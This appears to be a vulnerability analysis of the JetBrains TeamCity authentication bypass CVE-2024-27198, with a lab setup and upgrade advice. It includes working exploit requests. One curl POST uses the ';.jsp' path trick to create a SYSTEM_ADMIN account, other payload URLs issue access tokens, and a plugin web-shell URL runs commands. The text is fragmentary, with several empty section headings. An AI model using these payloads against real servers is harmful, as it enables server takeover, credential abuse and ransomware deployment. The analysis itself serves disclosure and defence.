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Research & Technique 
    

 

Jetbrains TeamCity authentication bypass vulnerability 

(CVE-2024-27198)
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① The attacker searches for a vulnerable TeamCity server in use within the company. 

② The attacker accesses the victimized server using the CVE-2024-27198 vulnerability. 

③ The attacker registers a random admin account and issues a new access token. 

④ The attacker uploads a malicious plugin to execute a remote command. 

⑤ The attacker accesses the internal infrastructure, and distribute the ransomware and cryptocurrency miner. 
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S/W type Vulnerable versions 

JetBrains TeamCity Version before November 3, 2023 

Name Information 

Victim 

Ubuntu 22.04.6 LTS 

TeamCity Professional 2023.11.3 

(192.168.102.74) 

Attacker 
Kali Linux 

(192.168.219.129) 
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# docker pull 

docker pull jetbrains/teamcity-server:2023.11.3 

# docker run 

docker run –it –d –name teamcity –p 8111:8111 jetbrains/teamcity-server:2023.11.3
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$ curl -ik http://192.168.102.74:8111/eqst?jsp=/app/rest/users\;.jsp -X POST -H "Content-Type: application/json" --

data "{\"username\": \"eqst\", \"password\": \"eqst\", \"email\": \"eqst@skshieldus.com\", \"roles\": 

{\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" 
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http://{TeamCity_server}/plugins/{plugin_name}/{malware.jsp}?cmd={command} 
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■ Detailed analysis of the vulnerability 
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http://{TeamCity_address}/login.html?jsp=/app/rest/server;.jsp  
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Payload http://192.168.102.74:8111/eqst?jsp=/app/rest/users;.jsp 

JSON 

Data 

{"username":"eqst", 

"password":"skshieldus", 

"email":"skshieldus.tester@sk.com", 

"roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}} 
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Payload http://192.168.102.74:8111/eqst?jsp=/app/rest/users/id:1/tokens/EQST;.jsp 
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http://{TeamCity_address}/plugins/{Plugin_name}/{jsp_file}?cmd={command} 

Payload http://192.168.102.74:8111/plugins/test/test.jsp?cmd=ls 
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■ Countermeasure 

Payload http://192.168.102.74:8111/aaaa?jsp=WEB-INF/web.xml;.jsp 

 

 

 

 

 

https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/
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Product Recommended version 

JetBrains TeamCity 2024.03 
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■ Reference sites 




